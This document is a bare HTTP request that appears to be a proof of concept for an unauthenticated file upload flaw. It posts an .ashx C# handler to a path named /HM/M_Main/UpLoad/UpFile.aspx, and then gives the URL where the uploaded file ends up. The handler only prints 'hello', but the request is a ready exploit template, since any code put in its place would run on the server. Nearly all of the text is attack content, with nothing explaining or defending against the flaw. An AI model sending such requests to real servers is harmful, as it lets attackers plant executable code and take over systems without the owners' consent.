POST /HM/M_Main/UpLoad/UpFile.aspx HTTP/1.1
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Java/1.8.0_381
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 487
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="UpFileData"; filename="1.ashx"

<% @ webhandler language="C#" class="AverageHandler" %> 
using System; 
using System.Web; 

public class AverageHandler : IHttpHandler 
{ 
    public bool IsReusable 
    { 
        get {
             return true; 
            } 
        } 
        public void ProcessRequest(HttpContext ctx) 
        { 
            ctx.Response.Write("hello"); 
        } 
    }
--00content0boundary00--

http://xx.xx.xx.xx/UpLoadFile//Sys_HeaderImage/2023/08/493216795627.ashx